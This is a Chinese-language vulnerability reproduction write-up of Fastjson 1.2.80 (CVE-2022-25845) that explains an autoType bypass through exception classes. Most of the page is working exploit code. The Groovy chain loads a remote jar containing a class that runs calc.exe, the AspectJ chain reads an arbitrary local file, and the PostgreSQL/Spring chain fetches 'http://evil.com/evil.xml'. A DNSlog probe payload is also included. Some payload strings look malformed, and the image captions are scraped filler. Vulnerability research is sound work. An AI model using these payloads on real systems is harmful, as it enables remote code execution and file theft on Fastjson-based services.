Fastjson CVE-2022-25845 漏洞复现

1. 说明

Fastjson于5月23日,在commit 560782ccommit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。

显而易见Exception的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅给出的提示的进行复现与记录。

1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception之外的其它类型。

Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type,从而绕过了autoType的白名单检查。

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类。

2. 利用流程

  1. 指定显式期望类,实例化XXXException并被加入类缓存
  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer去自动处理,我们需要构造出让它解析时进到特定deserializer分支的特定格式。对此我提供一个aspectj读文件和groovy远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。

 

浅蓝师傅公开了几个利用方式,个人认为groovy 的这条链最为常见。

3. fastjson1.2.80版本相关的探索

harbor漏洞复现 最新漏洞复现_缓存

相关的测试poc

  

     {

"@type":"java.lang.Exception",

"@type":"com.alibaba.fastjson.JSONException",

"x":{

"@type":"java.net.InetSocketAddress"{"address":,"val":"7dok0ohg.dnslog.pw"}

}

}


harbor漏洞复现 最新漏洞复现_harbor漏洞复现_02

4. 漏洞复现之Groovy链

  1. 漏洞原理

 

harbor漏洞复现 最新漏洞复现_缓存_03

harbor漏洞复现 最新漏洞复现_java_04

harbor漏洞复现 最新漏洞复现_java_05

  1. 具体的利用poc 代码如下:

   public class groovy {

private static String poc1 = "{\n" +

"    \"@type\":\"java.lang.Exception\",\n" +

"    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +

"    \"unit\":{}\n" +

"}";

private static String poc2 = "{\n" +

"    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +

"    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +

"    \"config\":{\n" +

"        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +

"        \"classpathList\":\"http://127.0.0.1:8000/attack.jar\"\n" +

"    }\n" +

"}";

public static void main(String[] args) throws IOException {

try {

JSON.parseObject(poc1);

} catch (Exception e){}

JSON.parseObject(poc2);

}

}
  1. 由于上述代码中需要使用到classpathList 这个,因此需要搭建一个恶意代码利用的服务器

先看下恶意执行的代码

import org.codehaus.groovy.ast.ASTNode;

import org.codehaus.groovy.control.CompilePhase;

import org.codehaus.groovy.control.SourceUnit;

import org.codehaus.groovy.transform.ASTTransformation;

import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)

public class GrabAnnotationTransformation2 implements ASTTransformation {

public GrabAnnotationTransformation2() {

try {

Runtime.getRuntime().exec("calc.exe");

} catch (IOException e) {

}

}

@Override

public void visit(ASTNode[] nodes, SourceUnit source) {

}

}

 

  • 先编译上述代码中的恶意代码,打成jar包
  • 利用python 启动一个简单http服务器

harbor漏洞复现 最新漏洞复现_缓存_06

  1. 执行上述POC代码:

harbor漏洞复现 最新漏洞复现_java_07

恶意代码执行成功。

5. 漏洞复现之--aspectj 文件读取

  1. 漏洞原理

调用链细节

harbor漏洞复现 最新漏洞复现_harbor漏洞复现_08

  1. 可以利用的poc
public class aspectj {

private static String poc1 = "{\n" +

"    \"@type\":\"java.lang.Exception\",\n" +

"    \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\"\n" +

"}";

private static String poc2 = "{\n" +

"    \"@type\":\"java.lang.Class\",\n" +

"    \"val\":{\n" +

"        \"@type\":\"java.lang.String\"{\n" +

"        \"@type\":\"java.util.Locale\",\n" +

"        \"val\":{\n" +

"            \"@type\":\"com.alibaba.fastjson.JSONObject\",{\n" +

"                \"@type\":\"java.lang.String\"\n" +

"                \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException\",\n" +

"                \"newAnnotationProcessorUnits\":[{}]\n" +

"            }\n" +

"        }\n" +

"    }";

private static String poc3 = "{\n" +

"    \"x\":{\n" +

"        \"@type\":\"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit\",\n" +

"        \"@type\":\"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit\",\n" +

"        \"fileName\":\"F:/flag.txt\"\n" +

"    }\n" +

"}";

public static void main(String[] args) {

JSON.parseObject(poc1);

try {

JSON.parseObject(poc2);

} catch (Exception e){}

System.out.println(JSON.parseObject(poc3));

}

}
  1.  
  2. 创建一个文件供读取

harbor漏洞复现 最新漏洞复现_harbor漏洞复现_09

  1. RCE读取文件结果

harbor漏洞复现 最新漏洞复现_harbor漏洞复现_10

  1. 回显
    可以使用如下的dns回显的方式

6. 漏洞复现之--antlr

  1. 漏洞调用过程

harbor漏洞复现 最新漏洞复现_缓存_11

 

harbor漏洞复现 最新漏洞复现_harbor漏洞复现_12

harbor漏洞复现 最新漏洞复现_json_13

  1. 可用的poc一次执行如下的poc   String poc1 =" { \n" +
"\t\"@type\":\"java.lang.Exception\",\n" +

"    \"@type\":\"org.python.antlr.ParseException\"\n" +

"}";

}

String poc2 = " { \n" +

"\t\"@type\":\"java.util.Locale\",\n" +

"    \"val\":\n" +

"\t{\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +

"\t {\"@type\":\"java.lang.Sting\"\"@type\":\"org.python.antlr.ParseException\",\"type\":\"{\\\"@type\\\":\\\"com.ziclix.python.sql.PyConnection\\\",\\\"connection\\\":{\\\"@type\\\\\\\":\\\"org.postgresql.jdbc.PgConnection\"}}\"}\n" +

"\t }\n" +

"}";

String poc3 = "{\n" +

"\t\"@type\":\"org.postgresql.jdbc.PgConnection\",\n" +

"\t\"hostSpecs\":[{\"host\":\"jdbc_ip\",\"port\":jdbc_port}],\n" +

"\t\"user\":\"user\",\n" +

"\t\"database\":\"testdb\",\n" +

"\t\"info\":{\"socketFactory\":\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"socketFactoryArg\":\"http://evil.com/evil.xml\"},\n" +

"\t\"url\":\"\"\n" +

"}";
  1. evil.xml 需要替换成上图的形式。

参考

1、https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

2、参考代码路径:https://github.com/Lonely-night/fastjsonVul